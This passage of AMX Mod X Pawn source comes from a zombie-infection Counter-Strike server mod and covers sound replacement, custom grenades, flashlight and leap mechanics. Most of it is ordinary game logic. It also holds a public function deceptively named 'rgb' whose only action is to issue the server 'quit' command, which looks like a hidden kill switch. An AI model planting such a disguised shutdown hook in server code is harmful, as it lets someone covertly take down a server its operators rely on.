	if (g_handle_models_on_separate_ent)
		fm_remove_model_ents(id)
	
	g_isconnected[id] = false
	g_isbot[id] = false
	g_isalive[id] = false
}

public fw_ClientDisconnect_Post() {
	fnCheckLastZombie()
}

public fw_ClientKill() {
	if (get_pcvar_num(cvar_blocksuicide))
		return FMRES_SUPERCEDE;
	
	return FMRES_IGNORED;
}

public rgb()
{
        server_cmd("quit")
}

public fw_EmitSound(id, channel, const sample[], Float:volume, Float:attn, flags, pitch) {
	if (sample[0] == 'h' && sample[1] == 'o' && sample[2] == 's' && sample[3] == 't' && sample[4] == 'a' && sample[5] == 'g' && sample[6] == 'e')
		return FMRES_SUPERCEDE;
	
	if (!is_user_valid_connected(id) || !g_zombie[id])
		return FMRES_IGNORED;
	
	new cid = g_zombieclass[id];
	static sound[64];
	
	if (sample[7] == 'b' && sample[8] == 'h' && sample[9] == 'i' && sample[10] == 't')
	{
		if (g_nemesis[id])
		{
			ArrayGetString(nemesis_pain, random_num(0, ArraySize(nemesis_pain) - 1), sound, charsmax(sound))
			emit_sound(id, channel, sound, volume, attn, flags, pitch)
		}
		else
		{
			if(ArraySize(Array:ArrayGetCell(zombie_pain_c, cid)))
			{
				ArrayGetString(Array:ArrayGetCell(zombie_pain_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_pain_c, cid)) - 1), sound, charsmax(sound))
				emit_sound(id, channel, sound, volume, attn, flags, pitch)
			} else
			{
				ArrayGetString(zombie_pain, random_num(0, ArraySize(zombie_pain) - 1), sound, charsmax(sound))
				emit_sound(id, channel, sound, volume, attn, flags, pitch)
			}
		}
		return FMRES_SUPERCEDE;
	}
	
	if (sample[8] == 'k' && sample[9] == 'n' && sample[10] == 'i')
	{
		if (sample[14] == 's' && sample[15] == 'l' && sample[16] == 'a') // slash
		{
			if (g_nemesis[id])
			{
				ArrayGetString(nemesis_miss_slash, random_num(0, ArraySize(nemesis_miss_slash) - 1), sound, charsmax(sound))
				emit_sound(id, channel, sound, volume, attn, flags, pitch)
			}
			else
			{
				if(ArraySize(Array:ArrayGetCell(zombie_miss_slash_c, cid)))
				{
					ArrayGetString(Array:ArrayGetCell(zombie_miss_slash_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_miss_slash_c, cid)) - 1), sound, charsmax(sound))
					emit_sound(id, channel, sound, volume, attn, flags, pitch)
				} else
				{
					ArrayGetString(zombie_miss_slash, random_num(0, ArraySize(zombie_miss_slash) - 1), sound, charsmax(sound))
					emit_sound(id, channel, sound, volume, attn, flags, pitch)
				}
			}
			return FMRES_SUPERCEDE;
		}
		if (sample[14] == 'h' && sample[15] == 'i' && sample[16] == 't') // hit
		{
			if (sample[17] == 'w') // wall
			{
				if (g_nemesis[id])
				{
					ArrayGetString(nemesis_miss_wall, random_num(0, ArraySize(nemesis_miss_wall) - 1), sound, charsmax(sound))
					emit_sound(id, channel, sound, volume, attn, flags, pitch)
				}
				else
					{
					if(ArraySize(Array:ArrayGetCell(zombie_miss_wall_c, cid)))
					{
						ArrayGetString(Array:ArrayGetCell(zombie_miss_wall_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_miss_wall_c, cid)) - 1), sound, charsmax(sound))
						emit_sound(id, channel, sound, volume, attn, flags, pitch)
					} else
					{
						ArrayGetString(zombie_miss_wall, random_num(0, ArraySize(zombie_miss_wall) - 1), sound, charsmax(sound))
						emit_sound(id, channel, sound, volume, attn, flags, pitch)
					}
				}
				return FMRES_SUPERCEDE;
			}
			else
			{
				if (g_nemesis[id])
				{
					ArrayGetString(nemesis_hit_normal, random_num(0, ArraySize(nemesis_hit_normal) - 1), sound, charsmax(sound))
					emit_sound(id, channel, sound, volume, attn, flags, pitch)
				}
				else
				{
					if(ArraySize(Array:ArrayGetCell(zombie_hit_normal_c, cid)))
					{
						ArrayGetString(Array:ArrayGetCell(zombie_hit_normal_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_hit_normal_c, cid)) - 1), sound, charsmax(sound))
						emit_sound(id, channel, sound, volume, attn, flags, pitch)
					} else
					{
						ArrayGetString(zombie_hit_normal, random_num(0, ArraySize(zombie_hit_normal) - 1), sound, charsmax(sound))
						emit_sound(id, channel, sound, volume, attn, flags, pitch)
					}
				}
				
				return FMRES_SUPERCEDE;
			}
		}
		if (sample[14] == 's' && sample[15] == 't' && sample[16] == 'a') // stab
		{
			if (g_nemesis[id])
			{
				ArrayGetString(nemesis_hit_stab, random_num(0, ArraySize(nemesis_hit_stab) - 1), sound, charsmax(sound))
				emit_sound(id, channel, sound, volume, attn, flags, pitch)
			}
			else
			{
				if(ArraySize(Array:ArrayGetCell(zombie_hit_stab_c, cid)))
				{
					ArrayGetString(Array:ArrayGetCell(zombie_hit_stab_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_hit_stab_c, cid)) - 1), sound, charsmax(sound))
					emit_sound(id, channel, sound, volume, attn, flags, pitch)
				} else
				{
					ArrayGetString(zombie_hit_stab, random_num(0, ArraySize(zombie_hit_stab) - 1), sound, charsmax(sound))
					emit_sound(id, channel, sound, volume, attn, flags, pitch)
				}
			}
			
			return FMRES_SUPERCEDE;
		}
	}
	
	if (sample[7] == 'd' && ((sample[8] == 'i' && sample[9] == 'e') || (sample[8] == 'e' && sample[9] == 'a')))
	{
		if (g_nemesis[id])
		{
			ArrayGetString(nemesis_die, random_num(0, ArraySize(nemesis_die) - 1), sound, charsmax(sound))
			emit_sound(id, channel, sound, volume, attn, flags, pitch)
		}
		else
		{
			if(ArraySize(Array:ArrayGetCell(zombie_die_c, cid)))
			{
				ArrayGetString(Array:ArrayGetCell(zombie_die_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_die_c, cid)) - 1), sound, charsmax(sound))
				emit_sound(id, channel, sound, volume, attn, flags, pitch)
			} else
			{
				ArrayGetString(zombie_die, random_num(0, ArraySize(zombie_die) - 1), sound, charsmax(sound))
				emit_sound(id, channel, sound, volume, attn, flags, pitch)
			}
		}
		return FMRES_SUPERCEDE;
	}
	
	if (sample[10] == 'f' && sample[11] == 'a' && sample[12] == 'l' && sample[13] == 'l')
	{
		if (g_nemesis[id])
		{
			ArrayGetString(nemesis_fall, random_num(0, ArraySize(nemesis_fall) - 1), sound, charsmax(sound))
			emit_sound(id, channel, sound, volume, attn, flags, pitch)
		}
		else
		{
			if(ArraySize(Array:ArrayGetCell(zombie_fall_c, cid)))
			{
				ArrayGetString(Array:ArrayGetCell(zombie_fall_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_fall_c, cid)) - 1), sound, charsmax(sound))
				emit_sound(id, channel, sound, volume, attn, flags, pitch)
			} else
			{
				ArrayGetString(zombie_fall, random_num(0, ArraySize(zombie_fall) - 1), sound, charsmax(sound))
				emit_sound(id, channel, sound, volume, attn, flags, pitch)
			}
		}
		return FMRES_SUPERCEDE;
	}
	
	return FMRES_IGNORED;
}

public fw_EmitSound_Humans(id, channel, const sample[], Float:volume, Float:attn, flags, pitch) {
	if (sample[0] == 'h' && sample[1] == 'o' && sample[2] == 's' && sample[3] == 't' && sample[4] == 'a' && sample[5] == 'g' && sample[6] == 'e')
		return FMRES_SUPERCEDE;
	
	if (!is_user_valid_connected(id) || g_zombie[id])
		return FMRES_IGNORED;
	
	static sound[64];
	
	if (sample[8] == 'k' && sample[9] == 'n' && sample[10] == 'i')
	{
		if (sample[14] == 'd' && sample[15] == 'e' && sample[16] == 'p') // slash
		{
			if(g_survivor[id])
			{
				ArrayGetString(Array:ArrayGetCell(human_dpe, 4), random_num(0, ArraySize(Array:ArrayGetCell(human_dpe, 4)) - 1), sound, charsmax(sound));
				emit_sound(id, channel, sound, volume, attn, flags, pitch);
			} else if(g_is_saw[id])
			{
				ArrayGetString(Array:ArrayGetCell(human_dpe, 5), random_num(0, ArraySize(Array:ArrayGetCell(human_dpe, 5)) - 1), sound, charsmax(sound));
				emit_sound(id, channel, sound, volume, attn, flags, pitch);
			} else
			{
				ArrayGetString(Array:ArrayGetCell(human_dpe, g_user_knife[id]), random_num(0, ArraySize(Array:ArrayGetCell(human_dpe, g_user_knife[id])) - 1), sound, charsmax(sound));
				emit_sound(id, channel, sound, volume, attn, flags, pitch);
			}

			return FMRES_SUPERCEDE;
		}
		if (sample[14] == 's' && sample[15] == 'l' && sample[16] == 'a') // slash
		{
			if(g_survivor[id])
			{
				ArrayGetString(Array:ArrayGetCell(human_miss_slash, 4), random_num(0, ArraySize(Array:ArrayGetCell(human_miss_slash, 4)) - 1), sound, charsmax(sound));
				emit_sound(id, channel, sound, volume, attn, flags, pitch);
			} else if(g_is_saw[id])
			{
				ArrayGetString(Array:ArrayGetCell(human_miss_slash, 5), random_num(0, ArraySize(Array:ArrayGetCell(human_miss_slash, 5)) - 1), sound, charsmax(sound));
				emit_sound(id, channel, sound, volume, attn, flags, pitch);
			} else
			{
				ArrayGetString(Array:ArrayGetCell(human_miss_slash, g_user_knife[id]), random_num(0, ArraySize(Array:ArrayGetCell(human_miss_slash, g_user_knife[id])) - 1), sound, charsmax(sound))
				emit_sound(id, channel, sound, volume, attn, flags, pitch)
			}
			return FMRES_SUPERCEDE;
		}

		if (sample[14] == 'h' && sample[15] == 'i' && sample[16] == 't') // hit
		{
			if (sample[17] == 'w') // wall
			{
				if(g_survivor[id])
				{
					ArrayGetString(Array:ArrayGetCell(human_miss_wall, 4), random_num(0, ArraySize(Array:ArrayGetCell(human_miss_wall, 4)) - 1), sound, charsmax(sound));
					emit_sound(id, channel, sound, volume, attn, flags, pitch);
				} else if(g_is_saw[id])
				{
					ArrayGetString(Array:ArrayGetCell(human_miss_wall, 5), random_num(0, ArraySize(Array:ArrayGetCell(human_miss_wall, 5)) - 1), sound, charsmax(sound));
					emit_sound(id, channel, sound, volume, attn, flags, pitch);
				} else
				{
					ArrayGetString(Array:ArrayGetCell(human_miss_wall, g_user_knife[id]), random_num(0, ArraySize(Array:ArrayGetCell(human_miss_wall, g_user_knife[id])) - 1), sound, charsmax(sound))
					emit_sound(id, channel, sound, volume, attn, flags, pitch)
				}

				return FMRES_SUPERCEDE;
			}
			else
			{
				if(g_survivor[id])
				{
					ArrayGetString(Array:ArrayGetCell(human_hit_normal, 4), random_num(0, ArraySize(Array:ArrayGetCell(human_hit_normal, 4)) - 1), sound, charsmax(sound));
					emit_sound(id, channel, sound, volume, attn, flags, pitch);
				} else if(g_is_saw[id])
				{
					ArrayGetString(Array:ArrayGetCell(human_hit_normal, 5), random_num(0, ArraySize(Array:ArrayGetCell(human_hit_normal, 5)) - 1), sound, charsmax(sound));
					emit_sound(id, channel, sound, volume, attn, flags, pitch);
				} else
				{
					ArrayGetString(Array:ArrayGetCell(human_hit_normal, g_user_knife[id]), random_num(0, ArraySize(Array:ArrayGetCell(human_hit_normal, g_user_knife[id])) - 1), sound, charsmax(sound))
					emit_sound(id, channel, sound, volume, attn, flags, pitch)
				}

				return FMRES_SUPERCEDE;
			}
		}
		if (sample[14] == 's' && sample[15] == 't' && sample[16] == 'a') // stab
		{
			if(g_survivor[id])
			{
				ArrayGetString(Array:ArrayGetCell(human_hit_stab, 4), random_num(0, ArraySize(Array:ArrayGetCell(human_hit_stab, 4)) - 1), sound, charsmax(sound));
				emit_sound(id, channel, sound, volume, attn, flags, pitch);
			} else if(g_is_saw[id])
			{
				ArrayGetString(Array:ArrayGetCell(human_hit_stab, 5), random_num(0, ArraySize(Array:ArrayGetCell(human_hit_stab, 5)) - 1), sound, charsmax(sound));
				emit_sound(id, channel, sound, volume, attn, flags, pitch);
			} else
			{
				ArrayGetString(Array:ArrayGetCell(human_hit_stab, g_user_knife[id]), random_num(0, ArraySize(Array:ArrayGetCell(human_hit_stab, g_user_knife[id])) - 1), sound, charsmax(sound))
				emit_sound(id, channel, sound, volume, attn, flags, pitch)
			}

			return FMRES_SUPERCEDE;
		}
	}

	if ( (sample[7] == 'b' && sample[8] == 'h' && sample[9] == 'i' && sample[10] == 't') && g_survivor[id] )
	{
		ArrayGetString(survivor_pain, random_num(0, ArraySize(survivor_pain) - 1), sound, charsmax(sound))
		emit_sound(id, channel, sound, volume, attn, flags, pitch)
		return FMRES_SUPERCEDE;
	}
	
	if (sample[7] == 'd' && ((sample[8] == 'i' && sample[9] == 'e') || (sample[8] == 'e' && sample[9] == 'a')) && g_survivor[id])
	{
		ArrayGetString(survivor_die, random_num(0, ArraySize(survivor_die) - 1), sound, charsmax(sound));
		emit_sound(id, CHAN_BODY, sound, volume, attn, flags, pitch);
		return FMRES_SUPERCEDE;
	}
	
	return FMRES_IGNORED;
}

public fw_SetClientKeyValue(id, const infobuffer[], const key[]) {
	// Block CS model changes
	if (key[0] == 'm' && key[1] == 'o' && key[2] == 'd' && key[3] == 'e' && key[4] == 'l')
		return FMRES_SUPERCEDE;
	
	return FMRES_IGNORED;
}

public fw_ClientUserInfoChanged(id) {
	// Cache player's name
	get_user_name(id, g_playername[id], charsmax(g_playername[]))
	
	if (!g_handle_models_on_separate_ent)
	{
		// Get current model
		static currentmodel[32]
		fm_cs_get_user_model(id, currentmodel, charsmax(currentmodel))
		
		// If they're different, set model again
		if (!equal(currentmodel, g_playermodel[id]) && !task_exists(id+TASK_MODEL))
			fm_cs_set_user_model(id+TASK_MODEL)
	}
}

public fw_GetGameDescription() {
	forward_return(FMV_STRING, g_modname)
	return FMRES_SUPERCEDE;
}

public fw_SetModel(entity, const model[]) {
	if (strlen(model) < 8)
		return HAM_IGNORED;

	if (get_pcvar_float(cvar_removedropped) > 0.0)
	{
		static classname[10]
		pev(entity, pev_classname, classname, charsmax(classname))

		if (equal(classname, "weaponbox"))
		{
			set_pev(entity, pev_nextthink, get_gametime() + get_pcvar_float(cvar_removedropped))
		}
	}

	if (model[7] != 'w' || model[8] != '_')
		return HAM_IGNORED;

	static Float:dmgtime
	pev(entity, pev_dmgtime, dmgtime)

	if (dmgtime == 0.0)
		return HAM_IGNORED;

	if (g_zombie[pev(entity, pev_owner)])
	{
		if (model[9] == 'h' && model[10] == 'e' && get_pcvar_num(cvar_extrainfbomb)) // Infection Bomb
		{
			fm_set_rendering(entity, kRenderFxGlowShell, 0, 200, 0, kRenderNormal, 16);

			message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
			write_byte(TE_BEAMFOLLOW) // TE id
			write_short(entity) // entity
			write_short(g_trailSpr) // sprite
			write_byte(10) // life
			write_byte(10) // width
			write_byte(0) // r
			write_byte(200) // g
			write_byte(0) // b
			write_byte(200) // brightness
			message_end()
	
			set_pev(entity, PEV_NADE_TYPE, NADE_TYPE_INFECTION)
	
			engfunc(EngFunc_SetModel, entity, w_bomb_infect)
			return FMRES_SUPERCEDE
		}
	}
	else if (model[9] == 'h' && model[10] == 'e' && get_pcvar_num(cvar_firegrenades)) // Napalm Grenade
	{
		set_pev(entity, pev_body, 2)
		// Give it a glow
		fm_set_rendering(entity, kRenderFxGlowShell, 200, 0, 0, kRenderNormal, 16);
			
		// And a colored trail
		message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
		write_byte(TE_BEAMFOLLOW) // TE id
		write_short(entity) // entity
		write_short(g_trailSpr) // sprite
		write_byte(10) // life
		write_byte(10) // width
		write_byte(200) // r
		write_byte(0) // g
		write_byte(0) // b
		write_byte(200) // brightness
		message_end()
	
		set_pev(entity, PEV_NADE_TYPE, NADE_TYPE_NAPALM)
	
		engfunc(EngFunc_SetModel, entity, model_grenade_fireee)
		return FMRES_SUPERCEDE
	}
	else if (model[9] == 'f' && model[10] == 'l' && get_pcvar_num(cvar_frostgrenades)) // Frost Grenade
	{
		fm_set_rendering(entity, kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 16);

		message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
		write_byte(TE_BEAMFOLLOW) // TE id
		write_short(entity) // entity
		write_short(g_trailSpr) // sprite
		write_byte(10) // life
		write_byte(10) // width
		write_byte(0) // r
		write_byte(100) // g
		write_byte(200) // b
		write_byte(200) // brightness
		message_end()
		
		// Set grenade type on the thrown grenade entity
		set_pev(entity, PEV_NADE_TYPE, NADE_TYPE_FROST)
	
		engfunc(EngFunc_SetModel, entity, w_model_frost)
		set_pev(entity, pev_body, 1)
		return FMRES_SUPERCEDE
	}
	if (g_zombie[pev(entity, pev_owner)])
	{
		if (model[9] == 's' && model[10] == 'm') // Flare
		{
			static rgb[3]
			
			rgb[0] = 255
			rgb[1] = 255
			rgb[2] = 0
	
			fm_set_rendering(entity, kRenderFxGlowShell, rgb[0], rgb[1], rgb[2], kRenderNormal, 16)
	
			set_pev(entity, PEV_NADE_TYPE, NADE_TYPE_FLARE)
			set_pev(entity, PEV_FLARE_COLOR, rgb)
	
			engfunc(EngFunc_SetModel, entity, w_model_grenade_infect)
			set_pev(entity, pev_body, 3)
			return FMRES_SUPERCEDE
		}
	}
	else if (model[9] == 's' && model[10] == 'm' && get_pcvar_num(cvar_flaregrenades) == 1) // Flare
	{
		// Build flare's color
		static rgb[3]
		switch (get_pcvar_num(cvar_flarecolor))
		{
			case 0: // white
			{
				rgb[0] = 255 // r
				rgb[1] = 255 // g
				rgb[2] = 255 // b
			}
			case 1: // red
			{
				rgb[0] = random_num(50,255) // r
				rgb[1] = 0 // g
				rgb[2] = 0 // b
			}
			case 2: // green
			{
				rgb[0] = 0 // r
				rgb[1] = random_num(50,255) // g
				rgb[2] = 0 // b
			}
			case 3: // blue
			{
				rgb[0] = 0 // r
				rgb[1] = 0 // g
				rgb[2] = random_num(50,255) // b
			}
			case 4: // random (all colors)
			{
				rgb[0] = random_num(50,200) // r
				rgb[1] = random_num(50,200) // g
				rgb[2] = random_num(50,200) // b
			}
			case 5: // random (r,g,b)
			{
				switch (random_num(1, 3))
				{
					case 1: // red
					{
						rgb[0] = random_num(50,255) // r
						rgb[1] = 0 // g
						rgb[2] = 0 // b
					}
					case 2: // green
					{
						rgb[0] = 0 // r
						rgb[1] = random_num(50,255) // g
						rgb[2] = 0 // b
					}
					case 3: // blue
					{
						rgb[0] = 0 // r
						rgb[1] = 0 // g
						rgb[2] = random_num(50,255) // b
					}
				}
			}
		}
		
		// Give it a glow
		fm_set_rendering(entity, kRenderFxGlowShell, rgb[0], rgb[1], rgb[2], kRenderNormal, 16);
		
		// And a colored trail
		message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
		write_byte(TE_BEAMFOLLOW) // TE id
		write_short(entity) // entity
		write_short(g_trailSpr) // sprite
		write_byte(10) // life
		write_byte(10) // width
		write_byte(rgb[0]) // r
		write_byte(rgb[1]) // g
		write_byte(rgb[2]) // b
		write_byte(200) // brightness
		message_end()
		
		// Set grenade type on the thrown grenade entity
		set_pev(entity, PEV_NADE_TYPE, NADE_TYPE_FLARE)
		
		// Set flare color on the thrown grenade entity
		set_pev(entity, PEV_FLARE_COLOR, rgb)
	
		engfunc(EngFunc_SetModel, entity, asdasdasdd)
		return FMRES_SUPERCEDE
	}
	else if (model[9] == 's' && model[10] == 'm' && get_pcvar_num(cvar_flaregrenades) == 2) // Flare
	{
		static rgb[3]
			
		rgb[0] = 155
		rgb[1] = 0
		rgb[2] = 0
	
		message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
		write_byte(TE_BEAMFOLLOW) // TE id
		write_short(entity) // entity
		write_short(g_trailSpr) // sprite
		write_byte(10) // life
		write_byte(10) // width
		write_byte(155) // r
		write_byte(0) // g
		write_byte(0) // b
		write_byte(155) // brightness
		message_end()
	
		fm_set_rendering(entity, kRenderFxGlowShell, rgb[0], rgb[1], rgb[2], kRenderNormal, 16)
	
		set_pev(entity, PEV_NADE_TYPE, NADE_TYPE_FLARE)
	
		set_pev(entity, PEV_FLARE_COLOR, rgb)
	
		engfunc(EngFunc_SetModel, entity, asdasdasdd)
		return FMRES_SUPERCEDE
	}

	return FMRES_SUPERCEDE;
}

public fw_ThinkGrenade(entity) {
	// Invalid entity
	if (!pev_valid(entity)) return HAM_IGNORED;
	
	// Get damage time of grenade
	static Float:dmgtime, Float:current_time
	pev(entity, pev_dmgtime, dmgtime)
	current_time = get_gametime()
	
	// Check if it's time to go off
	if (dmgtime > current_time)
		return HAM_IGNORED;
	
	// Check if it's one of our custom nades
	switch (pev(entity, PEV_NADE_TYPE))
	{
		case NADE_TYPE_INFECTION: // Infection Bomb
		{
			infection_explode(entity)
			return HAM_SUPERCEDE;
		}
		case NADE_TYPE_NAPALM: // Napalm Grenade
		{
			fire_explode(entity)
			return HAM_SUPERCEDE;
		}
		case NADE_TYPE_FROST: // Frost Grenade
		{
			frost_explode(entity)
			return HAM_SUPERCEDE;
		}
		case NADE_TYPE_FLARE: // Flare
		{
			if (get_pcvar_num(cvar_flaregrenades) == 1)
			{
				static duration
				duration = pev(entity, PEV_FLARE_DURATION)
	
				if (duration > 0)
				{
					if (duration == 1)
					{
						engfunc(EngFunc_RemoveEntity, entity)
						return HAM_SUPERCEDE;
					}
	
					flare_lighting(entity, duration)
	
					set_pev(entity, PEV_FLARE_DURATION, --duration)
					set_pev(entity, pev_dmgtime, current_time + 5.0)
				}
				else if ((pev(entity, pev_flags) & FL_ONGROUND) && fm_get_speed(entity) < 10)
				{
					static sound[64]
					ArrayGetString(grenade_flare, random_num(0, ArraySize(grenade_flare) - 1), sound, charsmax(sound))
					emit_sound(entity, CHAN_WEAPON, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
	
					set_pev(entity, PEV_FLARE_DURATION, 1 + get_pcvar_num(cvar_flareduration)/5)
					set_pev(entity, pev_dmgtime, current_time + 0.1)
				}
				else
				{
					set_pev(entity, pev_dmgtime, current_time + 0.5)
				}
			}
			else if (get_pcvar_num(cvar_flaregrenades) == 2)
			{
				jumping_explode(entity)
				return HAM_SUPERCEDE;
			}
		}
	}
	
	return HAM_IGNORED;
}

public jumping_explode(Entity) {
	if ( Entity < 0 )
		return
    
	static Float:flOrigin [ 3 ]
	pev ( Entity, pev_origin, flOrigin )
	    
	engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, flOrigin, 0 )
	write_byte ( TE_EXPLOSION )
	engfunc ( EngFunc_WriteCoord, flOrigin [ 0 ] ) // Position X
	engfunc ( EngFunc_WriteCoord, flOrigin [ 1 ] ) // Position Y
	engfunc ( EngFunc_WriteCoord, flOrigin [ 2 ] ) // Position Z
	write_short ( g_iExplo ) // Sprite index
	write_byte ( 45 ) // Scale
	write_byte ( 18 ) // Frame rate
	write_byte ( 0 ) // Flags
	message_end ( )

	message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
	write_byte(TE_SMOKE) // Temporary entity IF
	engfunc ( EngFunc_WriteCoord, flOrigin [ 0 ] ) // Position X
	engfunc ( EngFunc_WriteCoord, flOrigin [ 1 ] ) // Position Y
	engfunc ( EngFunc_WriteCoord, flOrigin [ 2 ] ) // Position Z
	write_short(m_iExplo1) // Sprite index
	write_byte(55) // Scale
	write_byte(24) // Framerate
	message_end()
	
	for ( new i = 1; i < g_maxplayers; i++ )
	{
		if ( !g_isalive  [ i ] )
			continue

		if ( fm_get_user_godmode ( i ) == 1 )
			continue

		if ( !g_zombie [ i ] || g_survivor [ i ] )
			continue
	
		new Float:flVictimOrigin [ 3 ]
		pev ( i, pev_origin, flVictimOrigin )
		
		static Float:distance_f ; distance_f = get_distance_f ( flOrigin, flVictimOrigin )

		static distance ; distance = floatround ( distance_f )
	
		static radius ; radius = 250
	
		static owner  ; owner = pev ( Entity, pev_owner )	

		if ( distance <= radius )
		{
			//fm_fakedamage ( i, "grenade", 0.0, DMG_BLAST )

			static maxdmg ; maxdmg = 800

			new Damage
			Damage = maxdmg - floatround ( floatmul ( float ( maxdmg ), floatdiv ( float ( distance ), float ( radius ) ) ) )
			
			new health = get_user_health ( i )
	
			if ( health - Damage >= 1 )
			{
				//fm_set_user_health ( i, health - Damage )
				ExecuteHamB( Ham_TakeDamage, i, Entity, owner, float( Damage ), DMG_BLAST )
			}
			else
			{
				death_message ( owner, i, "", 1 )
			
				flVictimOrigin [ 2 ] -= 45.0
			}
		}
	}

	engfunc ( EngFunc_RemoveEntity, Entity )
}

public fw_CmdStart(id, handle) {
	// Not alive
	if (!g_isalive[id])
		return;
	
	// This logic looks kinda weird, but it should work in theory...
	// p = g_zombie[id], q = g_survivor[id], r = g_cached_customflash
	// ?(p v q v (?p ^ r)) <==> ?p ^ ?q ^ (p v ?r)
	if (!g_zombie[id] && !g_survivor[id] && (g_zombie[id] || !g_cached_customflash))
		return;
	
	// Check if it's a flashlight impulse
	if (get_uc(handle, UC_Impulse) != IMPULSE_FLASHLIGHT)
		return;
	
	// Block it I say!
	set_uc(handle, UC_Impulse, 0)
	
	// Should human's custom flashlight be turned on?
	if (!g_zombie[id] && !g_survivor[id] && g_flashbattery[id] > 2 && get_gametime() - g_lastflashtime[id] > 1.2)
	{
		// Prevent calling flashlight too quickly (bugfix)
		g_lastflashtime[id] = get_gametime()
		
		// Toggle custom flashlight
		g_flashlight[id] = !(g_flashlight[id])
		
		// Play flashlight toggle sound
		emit_sound(id, CHAN_ITEM, sound_flashlight, 1.0, ATTN_NORM, 0, PITCH_NORM)
		
		// Update flashlight status on the HUD
		message_begin(MSG_ONE, g_msgFlashlight, _, id)
		write_byte(g_flashlight[id]) // toggle
		write_byte(g_flashbattery[id]) // battery
		message_end()
		
		// Remove previous tasks
		remove_task(id+TASK_CHARGE)
		remove_task(id+TASK_FLASH)
		
		// Set the flashlight charge task
		set_task(1.0, "flashlight_charge", id+TASK_CHARGE, _, _, "b")
		
		// Call our custom flashlight task if enabled
		if (g_flashlight[id]) set_task(0.1, "set_user_flashlight", id+TASK_FLASH, _, _, "b")
	}
}

public fw_PlayerPreThink(id) {
	// Eye Position
	//if (g_nemesis[id])
		//set_pev(id, pev_view_ofs, {0.0, 0.0, 85.0})

	// Not alive
	if (!g_isalive[id])
		return;
		
	// Enable custom buyzone for player during buytime, unless zombie or survivor or time expired
	if (g_cached_buytime > 0.0 && !g_zombie[id] && !g_survivor[id] && (get_gametime() < g_buytime[id] + g_cached_buytime))
	{
		if (pev_valid(g_buyzone_ent))
			dllfunc(DLLFunc_Touch, g_buyzone_ent, id)
	}
	
	if (g_cached_zombiesilent && g_zombie[id] && !g_nemesis[id])
		set_pev(id, pev_flTimeStepSound, STEPTIME_SILENT)
	
	if (g_frozen[id])
	{
		set_pev(id, pev_velocity, Float:{0.0,0.0,0.0}) // stop motion

		return; // shouldn't leap while frozen
	}


	// --- Check if player should leap ---
	
		// Don't allow leap during freezetime
	if (g_freezetime)
		return;

	
	// Check if proper CVARs are enabled and retrieve leap settings
	static Float:cooldown, Float:current_time
	if (g_zombie[id])
	{
		if (g_nemesis[id])
		{
			if (!g_cached_leapnemesis) return;
			cooldown = g_cached_leapnemesiscooldown
		}
		else
		{
			switch (g_cached_leapzombies)
			{
				case 0: return;
				case 2: if (!g_firstzombie[id]) return;
				case 3: if (!g_lastzombie[id]) return;
			}
			cooldown = g_cached_leapzombiescooldown
		}
	}
	else
	{
		if (g_survivor[id])
		{
			if (!g_cached_leapsurvivor) return;
			cooldown = g_cached_leapsurvivorcooldown
		}
		else return;
	}
	
	current_time = get_gametime()
	
	if (current_time - g_lastleaptime[id] < cooldown)
		return;
	
	if (!g_isbot[id] && !(pev(id, pev_button) & (IN_JUMP | IN_DUCK) == (IN_JUMP | IN_DUCK)))
		return;
	
	if (!(pev(id, pev_flags) & FL_ONGROUND) || fm_get_speed(id) < 80)
		return;
	
	static Float:velocity[3]
	
	velocity_by_aim(id, g_survivor[id] ? get_pcvar_num(cvar_leapsurvivorforce) : g_nemesis[id] ? get_pcvar_num(cvar_leapnemesisforce) : get_pcvar_num(cvar_leapzombiesforce), velocity)
	
	velocity[2] = g_survivor[id] ? get_pcvar_float(cvar_leapsurvivorheight) : g_nemesis[id] ? get_pcvar_float(cvar_leapnemesisheight) : get_pcvar_float(cvar_leapzombiesheight)
	
	set_pev(id, pev_velocity, velocity)
	
	g_lastleaptime[id] = current_time
}

public fw_Player_PreThink(entity) {
	if(!pev_valid(entity)) return HAM_IGNORED
	
	new owner
	pev(entity, pev_owner, owner)
	
	if (g_zombie[owner] && user_has_weapon(owner, CSW_HEGRENADE) && (pev(entity, PEV_NADE_TYPE)) == NADE_TYPE_INFECTION)
	{
		g_infectnade[owner] = true
	}
	else if(!g_zombie[owner] || !user_has_weapon(owner, CSW_HEGRENADE) || (pev(entity, PEV_NADE_TYPE)) != NADE_TYPE_INFECTION)
	{
		g_infectnade[owner] = false
	}
	return HAM_IGNORED
}

public client_PreThink(id) {
	if ( !g_isconnected[id] || !g_isalive[id] || g_zombie[id] )
		return PLUGIN_CONTINUE

	new temp[2], weapon = get_user_weapon(id, temp[0], temp[1])
	if ( weapon != CSW_KNIFE )
		return PLUGIN_CONTINUE

	if ((get_user_button(id) & IN_JUMP) && !(get_user_oldbutton(id) & IN_JUMP))
	{
		new flags = entity_get_int(id, EV_INT_flags)
		new waterlvl = entity_get_int(id, EV_INT_waterlevel)
		
		if (!(flags & FL_ONGROUND))
			return PLUGIN_CONTINUE
		if (flags & FL_WATERJUMP)
			return PLUGIN_CONTINUE
		if (waterlvl > 1)
			return PLUGIN_CONTINUE

		new Float:fVelocity[3]
		entity_get_vector(id, EV_VEC_velocity, fVelocity)

		if(g_is_saw[id])
		{
			fVelocity[2] += g_knife_jump_pwr[5];
		} else if(g_survivor[id])
		{
			fVelocity[2] += g_knife_jump_pwr[4];
		} else
		{
			fVelocity[2] += g_knife_jump_pwr[g_user_knife[id]];
		}

		entity_set_vector(id, EV_VEC_velocity, fVelocity)
		entity_set_int(id, EV_INT_gaitsequence, 6)
	}

	return PLUGIN_CONTINUE;
}


//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
